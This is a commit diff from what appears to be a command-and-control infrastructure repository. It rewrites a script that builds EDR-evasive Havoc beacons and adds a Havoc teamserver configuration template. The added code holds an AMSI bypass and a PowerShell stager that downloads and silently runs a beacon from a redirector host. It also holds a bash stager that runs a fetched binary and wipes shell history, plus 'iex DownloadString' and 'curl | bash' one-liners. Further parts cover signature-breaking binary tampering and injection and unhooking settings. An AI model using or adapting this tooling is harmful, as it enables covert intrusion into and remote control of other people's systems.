n0mad1k/CoM-c2itall
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

switching

Browse Source
This commit is contained in:
n0mad1k
2025-04-22 09:59:17 -04:00
parent 9a0162e21f
commit 393fc7ec5f
6 changed files with 903 additions and 298 deletions
Download Patch File Download Diff File Expand all files Collapse all files
templates/generate_evasive_beacons.sh.j2
+419 -106
View File
@@ -1,143 +1,456 @@
#!/bin/bash
# Corrected EDR-evasive beacon generator with template files
# EDR-evasive beacon generator for Havoc C2
# Every deployment produces completely unique payloads
# Configuration (automatically populated by Ansible)
BEACONS_DIR="/opt/beacons"
HAVOC_DIR="/root/Tools/havoc"
BEACONS_DIR="/root/Tools/beacons"
C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="cdn.{{ domain }}"
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
PROFILE_FILE="$HAVOC_DIR/config/profile.json"
# Ensure required directories exist
mkdir -p $BEACONS_DIR/windows
mkdir -p $BEACONS_DIR/linux
mkdir -p $BEACONS_DIR/staged
mkdir -p $BEACONS_DIR/shellcode
# Load Havoc configuration from profile
if [ -f "$PROFILE_FILE" ]; then
echo "[+] Loading Havoc configuration from profile..."
TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
else
echo "[!] Warning: Profile file not found, using default values"
TEAMSERVER_PORT=40056
ADMIN_USER="admin"
ADMIN_PASS="admin"
HTTP_PORT=8080
HTTPS_PORT=443
fi
# Generate unique random values for each execution
random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}
# Create a new Sliver profile with redirector-compatible paths
create_profile() {
# Anti-detection function to modify binary files
modify_binary() {
local input_file=$1
echo "[+] Applying anti-detection modifications to: $input_file"
# Create a temporary file
local temp_file="${input_file}.tmp"
cp "$input_file" "$temp_file"
# Modify the file based on its type
if file "$input_file" | grep -q "PE32"; then
# Windows EXE/DLL modifications
# Add random bytes to end of file
dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
# Modify PE header timestamps with random value
random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
# Try to strip debug information
if command -v strip &> /dev/null; then
strip --strip-debug "$temp_file" 2>/dev/null || true
fi
elif file "$input_file" | grep -q "ELF"; then
# Linux ELF modifications
# Add random bytes to end of file
dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
# Try to strip all symbols
if command -v strip &> /dev/null; then
strip --strip-all "$temp_file" 2>/dev/null || true
fi
fi
# Replace original with modified version
mv "$temp_file" "$input_file"
echo "[+] Binary modifications complete"
}
# Create advanced Havoc payload profile with evasion techniques
generate_profile() {
local type=$1
local profile_name="profile-${type}-$(random_string 8)"
local profile_name="${type}_profile_$(random_string 8).json"
# Use paths that match the redirector NGINX configuration
local http_path1="/ajax/$(random_string 8)"
local http_path2="/static/js/$(random_string 6).js"
echo "[+] Creating evasive $type profile..."
local interval=$(( 30 + RANDOM % 120 ))
local jitter=$(( 10 + RANDOM % 35 ))
# Generate random values for this profile
local sleep_time=$(( RANDOM % 10 + 2 ))
local jitter_percent=$(( RANDOM % 50 + 10 ))
# Use sliver-client to create a new profile
echo "[+] Creating profile: $profile_name"
sliver-client profiles new --name "$profile_name" --http-c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --http-urls "$http_path1,$http_path2" --beacon-interval $interval --beacon-jitter $jitter
if [ "$type" == "windows" ]; then
cat > "$BEACONS_DIR/$profile_name" << EOF
{
"Listener": "https",
"Demon": {
"Sleep": ${sleep_time},
"SleepJitter": ${jitter_percent},
"IndirectSyscalls": true,
"Inject": {
"AllocationMethod": $(( RANDOM % 3 )),
"ExecutionMethod": $(( RANDOM % 3 )),
"ExecuteOptions": $(( RANDOM % 2 ))
},
"Evasion": {
"StackSpoofing": true,
"SleazeUnhook": true,
"AmsiEtwPatching": true,
"SyscallMethod": $(( RANDOM % 3 )),
"EnableSleepMask": true,
"SleepMaskTechnique": $(( RANDOM % 4 ))
},
"Binary": {
"Subsystem": $(( RANDOM % 2 + 1 ))
}
}
}
EOF
elif [ "$type" == "linux" ]; then
cat > "$BEACONS_DIR/$profile_name" << EOF
{
"Listener": "https",
"Demon": {
"Sleep": ${sleep_time},
"SleepJitter": ${jitter_percent},
"Injection": {
"SpawnMethod": $(( RANDOM % 2 )),
"AllocationMethod": $(( RANDOM % 2 ))
},
"Evasion": {
"EnableSleepMask": true,
"SleepMaskTechnique": $(( RANDOM % 4 ))
}
}
}
EOF
fi
echo $profile_name
echo "$profile_name"
}
# Generate implant using existing profile
generate_implant() {
local profile_name=$1
local os_type=$2
local arch=$3
local format=$4
local output_name=$5
# Generate Havoc payloads with EDR evasion techniques
generate_payloads() {
echo "[+] Generating EDR-evasive Havoc beacons..."
echo "[+] Generating $os_type $format implant with profile $profile_name"
sliver-client generate --profile $profile_name --os $os_type --arch $arch --format $format --save "$BEACONS_DIR/$output_name"
# Windows EXE
win_profile=$(generate_profile "windows")
win_output="update_win_$(random_string 8).exe"
echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$win_profile" \
--format exe \
--output "$BEACONS_DIR/windows/$win_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
modify_binary "$BEACONS_DIR/windows/$win_output"
fi
# Windows DLL
dll_profile=$(generate_profile "windows")
dll_output="module_$(random_string 8).dll"
echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$dll_profile" \
--format dll \
--output "$BEACONS_DIR/windows/$dll_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
modify_binary "$BEACONS_DIR/windows/$dll_output"
fi
# Linux binary
linux_profile=$(generate_profile "linux")
linux_output="update_linux_$(random_string 8)"
echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$linux_profile" \
--format elf \
--output "$BEACONS_DIR/linux/$linux_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
modify_binary "$BEACONS_DIR/linux/$linux_output"
fi
# Windows shellcode (staged payload)
shellcode_profile=$(generate_profile "windows")
shellcode_output="shellcode_$(random_string 8).bin"
echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$shellcode_profile" \
--format shellcode \
--output "$BEACONS_DIR/shellcode/$shellcode_output" \
> /dev/null 2>&1
echo "[+] All payloads generated successfully!"
# Return payload information
echo "$win_output:$dll_output:$linux_output:$shellcode_output"
}
# Random output filename generator
random_output_name() {
local type=$1
local names=(
"update" "service" "client" "agent" "app" "system"
"monitor" "utility" "helper" "runtime" "driver" "module"
)
local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)"
# Generate PowerShell and bash stagers
generate_stagers() {
win_output=$1
linux_output=$2
case "$type" in
windows) echo "${name}.exe" ;;
windows_dll) echo "${name}.dll" ;;
linux) echo "${name}" ;;
darwin) echo "${name}" ;;
*) echo "${name}" ;;
esac
echo "[+] Generating evasive stagers..."
# Create PowerShell stager directory
mkdir -p $BEACONS_DIR/stagers
# PowerShell stager with AMSI bypass and obfuscation
cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
# PowerShell stager for Havoc C2 with AMSI bypass
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
# AMSI Bypass
function Bypass-AMSI {
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
}
echo "[+] Generating randomized, evasive beacons with redirector integration..."
echo "[+] Redirector host: $REDIRECTOR_HOST"
echo "[+] C2 host: $C2_HOST"
# Try to bypass AMSI
try { Bypass-AMSI } catch {}
# Windows EXE
win_profile=$(create_profile "windows")
win_output=$(random_output_name "windows")
generate_implant "$win_profile" "windows" "amd64" "exe" "$win_output"
echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)"
# Randomize variables for evasion
$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
# Windows DLL
dll_profile=$(create_profile "windows_dll")
dll_output=$(random_output_name "windows_dll")
generate_implant "$dll_profile" "windows" "amd64" "shared" "$dll_output"
echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)"
# Error handling with obfuscation
$ErrorActionPreference = 'SilentlyContinue'
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")
# Linux binary
linux_profile=$(create_profile "linux")
linux_output=$(random_output_name "linux")
generate_implant "$linux_profile" "linux" "amd64" "shared" "$linux_output"
echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)"
# Split URL to avoid detection
$r1 = "https://"
$r2 = "REDIRECTOR_HOST"
$r3 = "/content/windows/WINDOWS_EXE"
$url = $r1 + $r2 + $r3
# macOS binary
mac_profile=$(create_profile "darwin")
mac_output=$(random_output_name "darwin")
generate_implant "$mac_profile" "darwin" "amd64" "macho" "$mac_output"
echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)"
# Download with jitter
$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
try {
$wc.DownloadFile($url, $outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
# Start process with extra obfuscation
$p = New-Object System.Diagnostics.Process
$p.StartInfo.FileName = $outpath
$p.StartInfo.WindowStyle = 'Hidden'
$p.StartInfo.CreateNoWindow = $true
$p.Start()
} catch {
# Fail silently
}
EOF
# Replace placeholder values in PowerShell stager
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1
# Bash stager with obfuscation techniques
cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
#!/bin/bash
# Linux download and execute Havoc beacon with EDR evasion
# Function obfuscation
function x() {
command -v "$1" > /dev/null 2>&1
}
# Random temp filename
r() {
head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
}
# Randomize variables
TMPVAR=$(r)
TMPFILE="/tmp/.${TMPVAR}"
# Check which download tool is available
if x curl; then
# Split URL to avoid signature detection
p1="https://"
p2="REDIRECTOR_HOST"
p3="/content/linux/LINUX_BINARY"
url="${p1}${p2}${p3}"
# Add random sleep between operations
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
curl -s -o "$TMPFILE" "$url"
elif x wget; then
p1="https://"
p2="REDIRECTOR_HOST"
p3="/content/linux/LINUX_BINARY"
url="${p1}${p2}${p3}"
# Add random sleep between operations
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
wget -q -O "$TMPFILE" "$url"
else
exit 1
fi
# Make executable and run in background
chmod +x "$TMPFILE"
# Add random sleep before execution
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
("$TMPFILE" > /dev/null 2>&1 &)
# Clean up command history if possible
[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
history -c 2>/dev/null
echo "Update complete."
EOF
# Replace placeholder values in Bash stager
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
chmod +x $BEACONS_DIR/stagers/linux_stager.sh
echo "[+] Stagers created successfully"
}
# Create manifest file
create_manifest() {
local payload_info=$1
local win_output=$(echo $payload_info | cut -d':' -f1)
local dll_output=$(echo $payload_info | cut -d':' -f2)
local linux_output=$(echo $payload_info | cut -d':' -f3)
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
echo "[+] Creating manifest file..."
cat > $BEACONS_DIR/manifest.json << EOF
{
"windows_exe": "$win_output",
"windows_dll": "$dll_output",
"linux_binary": "$linux_output",
"windows_shellcode": "$shellcode_output",
"redirector_host": "$REDIRECTOR_HOST",
"redirector_port": "$REDIRECTOR_PORT",
"c2_host": "$C2_HOST",
"havoc_teamserver_port": "$TEAMSERVER_PORT",
"havoc_http_port": "$HTTP_PORT",
"havoc_https_port": "$HTTPS_PORT",
"generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
}
EOF
}
# Create reference file
create_reference() {
local payload_info=$1
local win_output=$(echo $payload_info | cut -d':' -f1)
local dll_output=$(echo $payload_info | cut -d':' -f2)
local linux_output=$(echo $payload_info | cut -d':' -f3)
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
echo "[+] Creating reference file..."
cat > $BEACONS_DIR/reference.txt << EOF
Havoc C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST
- Teamserver Port: $TEAMSERVER_PORT
- Admin User: $ADMIN_USER
- Admin Password: $ADMIN_PASS
Beacons Generated ($(date)):
- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)
Deployment Commands:
- PowerShell:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
- Linux:
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
Anti-Detection Features Enabled:
- Binary signature randomization
- PE/ELF header manipulation
- Sleep mask obfuscation
- AMSI bypass in stagers
- EDR unhooking
- Indirect syscalls
- Random sleep/jitter timing
EOF
}
# Main execution flow
echo "[+] Starting EDR-evasive Havoc beacon generation..."
echo "[+] Redirector: $REDIRECTOR_HOST"
echo "[+] C2 Host: $C2_HOST"
# Generate payloads
payload_info=$(generate_payloads)
# Generate stagers
stager_profile=$(create_profile "stager")
stager_win=$(random_output_name "windows")
sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
# Create manifest file from template
cp /root/Tools/manifest.template "$BEACONS_DIR/manifest.json"
sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/manifest.json"
sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/manifest.json"
sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/manifest.json"
sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/manifest.json"
sed -i "s/WINDOWS_STAGER/staged\/$stager_win/g" "$BEACONS_DIR/manifest.json"
sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/manifest.json"
sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/manifest.json"
sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/manifest.json"
sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/manifest.json"
sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/manifest.json"
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/manifest.json"
sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/manifest.json"
sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/manifest.json"
sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/manifest.json"
# Create manifest file
create_manifest "$payload_info"
# Create Linux loader from template
cp /root/Tools/linux_loader.template "$BEACONS_DIR/linux_loader.sh"
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/linux_loader.sh"
chmod +x "$BEACONS_DIR/linux_loader.sh"
# Create reference file
create_reference "$payload_info"
# Create Windows PowerShell loader from template
cp /root/Tools/windows_loader.template "$BEACONS_DIR/windows_loader.ps1"
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/windows_loader.ps1"
# Create reference file from template
cp /root/Tools/reference.template "$BEACONS_DIR/reference.txt"
sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/reference.txt"
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/reference.txt"
sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/reference.txt"
sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/reference.txt"
sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/reference.txt"
sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/reference.txt"
sed -i "s/WINDOWS_STAGER/$stager_win/g" "$BEACONS_DIR/reference.txt"
sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/reference.txt"
sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/reference.txt"
sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/reference.txt"
sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/reference.txt"
sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/reference.txt"
sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/reference.txt"
sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/reference.txt"
echo "[+] EDR-evasive beacon generation complete!"
templates/havoc-config.yaotl.j2
+274
View File
@@ -0,0 +1,274 @@
{% set random_hex = lookup('password', '/dev/null chars=hex_lower length=8') %}
Teamserver {
Host = "0.0.0.0"
Port = {{ havoc_teamserver_port | default(40056) }}
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
{% if havoc_compiler_flags is defined %}
CompilerFlags = "{{ havoc_compiler_flags }}"
{% else %}
CompilerFlags = "-Os -fno-asynchronous-unwind-tables -fno-ident -fpack-struct=8 -ffunction-sections"
{% endif %}
}
}
Operators {
{{ havoc_admin_user | default('admin') }} {
Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}"
{% if havoc_auth_secret is defined %}
Secret = "{{ havoc_auth_secret }}"
{% else %}
Secret = "{{ lookup('password', '/dev/null chars=hex_lower length=32') }}"
{% endif %}
}
{% if havoc_operators is defined %}
{% for operator in havoc_operators %}
{{ operator.name }} {
Password = "{{ operator.password }}"
{% if operator.secret is defined %}
Secret = "{{ operator.secret }}"
{% else %}
Secret = "{{ lookup('password', '/dev/null chars=hex_lower length=32') }}"
{% endif %}
}
{% endfor %}
{% endif %}
}
Listeners {
http {
Name = "http"
KillDate = "{{ havoc_killdate | default('2030-01-01') }}"
WorkingHours = "{{ havoc_working_hours | default('0:00-23:59') }}"
{% if havoc_hosts is defined %}
Hosts = [
{% for host in havoc_hosts %}
"{{ host }}"{% if not loop.last %},{% endif %}
{% endfor %}
]
{% else %}
Hosts = ["0.0.0.0"]
{% endif %}
HostBind = "0.0.0.0"
HostRotation = "{{ havoc_host_rotation | default('round-robin') }}"
Port = {{ havoc_http_port | default(8080) }}
PortBind = {{ havoc_http_port | default(8080) }}
{% if havoc_user_agent is defined %}
UserAgent = "{{ havoc_user_agent }}"
{% else %}
UserAgent = "Mozilla/5.0 (Windows NT 10.{{ random_hex[0] | int }}.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{{ random_hex[1] | int + 80 }}.0.{{ random_hex[2:4] | int }}.{{ random_hex[4:6] | int }} Safari/537.36"
{% endif %}
Headers = [
{% if havoc_http_headers is defined %}
{% for header in havoc_http_headers %}
"{{ header }}"{% if not loop.last %},{% endif %}
{% endfor %}
{% else %}
"Accept: */*",
"Accept-Language: en-US,en;q=0.9",
"X-Requested-With: XMLHttpRequest"
{% endif %}
]
Uris = [
{% if havoc_http_uris is defined %}
{% for uri in havoc_http_uris %}
"{{ uri }}"{% if not loop.last %},{% endif %}
{% endfor %}
{% else %}
"/api/v{{ random_hex[6] | int + 1 }}",
"/dashboard",
"/content/{{ random_hex[1:4] }}",
"/wp-includes/{{ random_hex[1:6] }}.js"
{% endif %}
]
Secure = false
{% if havoc_proxy_enabled | default(false) %}
Proxy = {
Host = "{{ havoc_proxy_host }}"
Port = {{ havoc_proxy_port }}
Username = "{{ havoc_proxy_username | default('') }}"
Password = "{{ havoc_proxy_password | default('') }}"
}
{% endif %}
}
https {
Name = "https"
KillDate = "{{ havoc_killdate | default('2030-01-01') }}"
WorkingHours = "{{ havoc_working_hours | default('0:00-23:59') }}"
{% if havoc_hosts is defined %}
Hosts = [
{% for host in havoc_hosts %}
"{{ host }}"{% if not loop.last %},{% endif %}
{% endfor %}
]
{% else %}
Hosts = ["0.0.0.0"]
{% endif %}
HostBind = "0.0.0.0"
HostRotation = "{{ havoc_host_rotation | default('round-robin') }}"
Port = {{ havoc_https_port | default(443) }}
PortBind = {{ havoc_https_port | default(443) }}
{% if havoc_user_agent is defined %}
UserAgent = "{{ havoc_user_agent }}"
{% else %}
UserAgent = "Mozilla/5.0 (Windows NT 10.{{ random_hex[0] | int }}.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{{ random_hex[1] | int + 80 }}.0.{{ random_hex[2:4] | int }}.{{ random_hex[4:6] | int }} Safari/537.36"
{% endif %}
Headers = [
{% if havoc_https_headers is defined %}
{% for header in havoc_https_headers %}
"{{ header }}"{% if not loop.last %},{% endif %}
{% endfor %}
{% else %}
"Accept: */*",
"Accept-Language: en-US,en;q=0.9",
"X-Requested-With: XMLHttpRequest"
{% endif %}
]
Uris = [
{% if havoc_https_uris is defined %}
{% for uri in havoc_https_uris %}
"{{ uri }}"{% if not loop.last %},{% endif %}
{% endfor %}
{% else %}
"/api/v{{ random_hex[6] | int + 2 }}",
"/content",
"/static/{{ random_hex[2:5] }}",
"/wp-content/plugins/{{ random_hex[1:6] }}"
{% endif %}
]
Secure = true
Cert = "{{ havoc_cert_path | default('/root/Tools/havoc/data/certs/havoc.crt') }}"
Key = "{{ havoc_key_path | default('/root/Tools/havoc/data/certs/havoc.key') }}"
{% if havoc_proxy_enabled | default(false) %}
Proxy = {
Host = "{{ havoc_proxy_host }}"
Port = {{ havoc_proxy_port }}
Username = "{{ havoc_proxy_username | default('') }}"
Password = "{{ havoc_proxy_password | default('') }}"
}
{% endif %}
}
{% if havoc_smb_enabled | default(false) %}
smb {
Name = "smb"
PipeName = "{{ havoc_smb_pipename | default('havoc-' ~ random_hex[0:6]) }}"
}
{% endif %}
{% if havoc_external_enabled | default(false) %}
external {
Name = "external"
KillDate = "{{ havoc_external_killdate | default('2030-01-01') }}"
WorkingHours = "{{ havoc_external_hours | default('0:00-23:59') }}"
Endpoint = "{{ havoc_external_endpoint }}"
}
{% endif %}
{% if havoc_additional_listeners is defined %}
{% for listener in havoc_additional_listeners %}
{{ listener.name }} {
{% for key, value in listener.config.items() %}
{{ key }} = {% if value is string %}"{{ value }}"{% else %}{{ value }}{% endif %}
{% endfor %}
}
{% endfor %}
{% endif %}
}
Demon {
Sleep = {{ havoc_sleep | default(random_hex[0:2] | int % 5 + 2) }}
SleepJitter = {{ havoc_jitter | default(random_hex[2:4] | int % 30 + 20) }}
Injection = {{ havoc_injection_method | default(random_hex[4] | int % 3) }}
IndirectSyscalls = {{ havoc_indirect_syscalls | default(true) | lower }}
Injection {
{% if havoc_spawn64 is defined %}
Spawn64 = "{{ havoc_spawn64 }}"
{% else %}
{% set process_list = [
"C:\\Windows\\System32\\notepad.exe",
"C:\\Windows\\System32\\RuntimeBroker.exe",
"C:\\Windows\\System32\\dllhost.exe",
"C:\\Windows\\System32\\smartscreen.exe",
"C:\\Windows\\System32\\ctfmon.exe",
"C:\\Windows\\System32\\sihost.exe",
"C:\\Windows\\System32\\taskhostw.exe"
] %}
Spawn64 = "{{ process_list[random_hex[5] | int % process_list|length] }}"
{% endif %}
{% if havoc_spawn32 is defined %}
Spawn32 = "{{ havoc_spawn32 }}"
{% else %}
{% set process32_list = [
"C:\\Windows\\SysWOW64\\notepad.exe",
"C:\\Windows\\SysWOW64\\dllhost.exe",
"C:\\Windows\\SysWOW64\\ctfmon.exe"
] %}
Spawn32 = "{{ process32_list[random_hex[6] | int % process32_list|length] }}"
{% endif %}
{% if havoc_allocation_method is defined %}
AllocationMethod = {{ havoc_allocation_method }}
{% else %}
AllocationMethod = {{ random_hex[7] | int % 3 }}
{% endif %}
{% if havoc_execution_method is defined %}
ExecutionMethod = {{ havoc_execution_method }}
{% else %}
ExecutionMethod = {{ random_hex[3] | int % 2 }}
{% endif %}
{% if havoc_execution_options is defined %}
ExecuteOptions = {{ havoc_execution_options }}
{% else %}
ExecuteOptions = 1
{% endif %}
}
{% if havoc_evasion_enabled | default(true) %}
Evasion {
StackSpoofing = {{ havoc_stack_spoofing | default(true) | lower }}
SleazeUnhook = {{ havoc_sleaze_unhook | default(true) | lower }}
AmsiEtwPatching = {{ havoc_amsi_etw_patching | default(true) | lower }}
ApiFiltering = {{ havoc_api_filtering | default(true) | lower }}
{% if havoc_syscall_method is defined %}
SyscallMethod = {{ havoc_syscall_method }}
{% else %}
SyscallMethod = {{ random_hex[4] | int % 3 }}
{% endif %}
}
{% endif %}
{% if havoc_masking_enabled | default(true) %}
Masking {
HeapType = {{ random_hex[1] | int % 2 }}
SleepMaskTechnique = {{ random_hex[2] | int % 4 }}
}
{% endif %}
{% if havoc_binary_signing_enabled | default(false) %}
Binary {
SignTemplate = {
Name = "{{ havoc_sign_template_name | default('MicrosoftLLC') }}"
{% if havoc_sign_template_extra_options is defined %}
Options = {
{% for key, value in havoc_sign_template_extra_options.items() %}
{{ key }} = "{{ value }}"
{% endfor %}
}
{% endif %}
}
}
{% endif %}
{{ havoc_additional_options | default('') }}
}
templates/sliver-guide.j2
-73
View File
@@ -1,73 +0,0 @@
# File: templates/sliver-guide.j2
# Sliver C2 Framework Usage Guide
SLIVER C2 OPERATIONS GUIDE
==========================
This guide provides information on using the randomized Sliver C2 server deployed on
your infrastructure.
SERVER INFORMATION
-----------------
C2 Server IP: {{ c2_ip }}
Redirector Domain: {{ redirector_domain }}
Operator Config: /root/admin.cfg
CONNECTING TO THE SERVER
-----------------------
1. From your operator system, import the operator config:
$ sliver import /path/to/admin.cfg
2. Connect to the server:
$ sliver
[*] Loaded 1 operator profiles
sliver > use admin
[*] Set active profile admin ({{ c2_ip }}:31337)
sliver > connect
[*] Connected to {{ c2_ip }}:31337 (admin)
USING THE SERVER
---------------
Once connected to the server, you can:
1. List generated implants:
sliver > implants
2. Start a listener for HTTP connections:
sliver > http -d {{ redirector_domain }} -L 0.0.0.0 -p 8888
3. Start a multiplayer session:
sliver > mtls -L 0.0.0.0 -p 31337
IMPLANT RESOURCES
----------------
Pre-generated implants are available in:
- /root/Tools/beacons/
These implants are already configured to connect through the redirector at
{{ redirector_domain }}.
To serve these implants for download:
- A Python HTTP server is running on {{ c2_ip }}:8443
